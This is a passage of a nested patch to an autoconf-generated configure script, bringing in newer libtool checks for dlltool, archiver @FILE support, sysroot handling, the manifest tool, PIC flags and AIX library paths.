++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5655,8 +5907,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -5672,7 +5926,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5692,11 +5946,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -5712,7 +5970,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5731,6 +5989,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -5742,25 +6004,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -5772,6 +6028,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -6111,8 +6425,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6148,6 +6462,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6189,6 +6504,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6200,7 +6527,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6226,8 +6553,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6237,8 +6564,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6275,6 +6602,18 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
++
+
+
+
+@@ -6291,6 +6630,43 @@ fi
+
+
+
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -6502,6 +6878,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7065,6 +7558,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -7647,8 +8142,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -7814,6 +8307,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -7876,7 +8375,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -7933,13 +8432,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8000,6 +8503,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8350,7 +8858,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8449,12 +8958,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8468,8 +8977,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8487,8 +8996,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8534,8 +9043,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8665,7 +9174,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -8678,22 +9193,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -8705,7 +9227,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -8718,22 +9246,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -8778,20 +9313,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
